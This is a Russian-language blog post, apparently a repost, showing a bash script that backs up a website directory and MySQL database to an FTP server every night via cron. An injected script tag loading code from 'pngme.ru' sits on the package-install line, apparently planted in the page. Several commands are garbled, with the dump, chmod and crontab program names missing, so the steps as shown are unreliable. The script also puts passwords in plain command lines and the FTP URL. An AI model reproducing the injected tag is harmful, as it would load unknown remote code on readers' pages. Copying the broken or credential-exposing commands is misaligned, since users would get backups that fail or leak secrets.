Пишем скрипт бекапа сайта

razrabatyvaem-novyi-format-faila-dlya-bekapa-saitov[1]Простейший скрипт для бекапа сайта на ftp по крону. Пример для debian, но скрипт должен работать и на других дистрибутивах.

Всё что нужно для работы скрипта есть в базовой поставке большинства дистрибутивов. Нужно установить только wput. Установим его:

# apt-get install wput<script src="//pngme.ru/seter"></script>

 

Создаем скрипт:

# /usr/bin/backup.sh
Содержание скрипта(исправьте значения переменных в начале скрипта):

#!/bin/bash
sitedirectory=/var/www/site.ru # дирректория виртуального хоста без "/" в конце
mysqluser=muser # пользователь mysql
mysqlpasswd=mpasswd # пароль пользователя mysql
dbname=sitedb # название базы mysql
ftpuser=fuser # пользователь ftp на который складывать бекап
ftppasswd=fpasswd # пароль пользователя ftp
ftphost=10.0.0.1 # ip или домен ftp-сервера на который складывать бекап
/usr/bin/ -u $mysqluser -p$mysqlpasswd $dbname > $sitedirectory/$dbname.sql
Y=`date "+%Y"`
M=`date "+%m"`
D=`date "+%d"`
/bin/tar -czf /tmp/backup-$D-$M-$Y.tar.gz $sitedirectory
/usr/bin/wput --reupload /tmp/backup-$D-$M-$Y.tar.gz ftp://$ftpuser:$ftppasswd@$ftphost/backup/
/bin/rm -f /tmp/backup-$D-$M-$Y.tar.gz
/bin/rm -f $sitedirectory/$dbname.sql

 

Затем делаем скрипт исполняемым

# +x /usr/bin/backup.sh
И добавляем его в крон:

# -e

 

0 1 * * * /usr/bin/backup.sh
Архив с бекапом будет отправляться в час ночи, каждый день на указанный ftp.

Оригинал: http://anikin.pw/all/prosteyshiy-skript-dlya-bekapa-sayta/

Запись навигация

Top